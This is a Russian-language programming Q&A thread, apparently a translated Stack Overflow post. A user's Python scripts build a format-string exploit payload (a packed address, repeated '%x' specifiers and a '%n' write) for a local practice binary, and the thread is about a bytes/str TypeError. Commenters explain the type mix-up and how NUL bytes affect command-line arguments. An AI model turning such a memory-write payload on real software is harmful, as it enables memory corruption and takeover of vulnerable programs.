Я пытаюсь создать эксплойт для упражнения, но у меня проблема со следующим кодом:
#!/usr/bin/python
import os
import struct
address = struct.pack("I",0x201014)
payload = address+"." + ".%x."*131 + ".%n."
os.system("/home/osboxes/Desktop/formatString " + payload)
Но ошибка в следующем: TypeError: аргумент system() 1 должен быть строкой без нулевых байтов, а не str
Я пытаюсь перейти на текущую версию Python с помощью утилиты подпроцесса:
#!/usr/bin/python3
import subprocess
import struct
address = struct.pack("I",0x201014)
payload = address+"." + ".%x."*131 + ".%n."
subprocess.call("/home/osboxes/Desktop/formatString " + payload, shell=True)
Но ошибка следующая: TypeError: can't concat str to bytes
Как я могу исправить проблему преобразования byte или str для обеих версий? обе программы сходятся во мнении, что ошибка именно в строке payload=...
type(address)
будет возвращать байты, а такие элементы, как".%n."
,".%x."
и".%x."*131
, будут возвращать строки. Вы смешиваете типы данных. /606191/конвертировать байты в строку) - person Richard W   schedule 22.12.2020'something'
— это строка Unicode, а не строка байтов. Только строки байтов без каких-либо NUL могут быть помещены в командные строки (строки Unicode должны быть закодированы, чтобы попасть туда). - person Charles Duffy   schedule 23.12.2020subprocess.call(['/path/to/formatString', payload])
со значением по умолчаниюshell=False
-- предварительно убедившись, чтоpayload
действительно является строкой байтов без NUL. (Если он действительно содержит значения NUL, вам нужно будет использовать их в качестве граничных точек между отдельными записями вектора аргументов). - person Charles Duffy   schedule 23.12.2020formatString
и того, как вы ее используете, а не вопрос, который вы задали о Python) . - person Charles Duffy   schedule 23.12.2020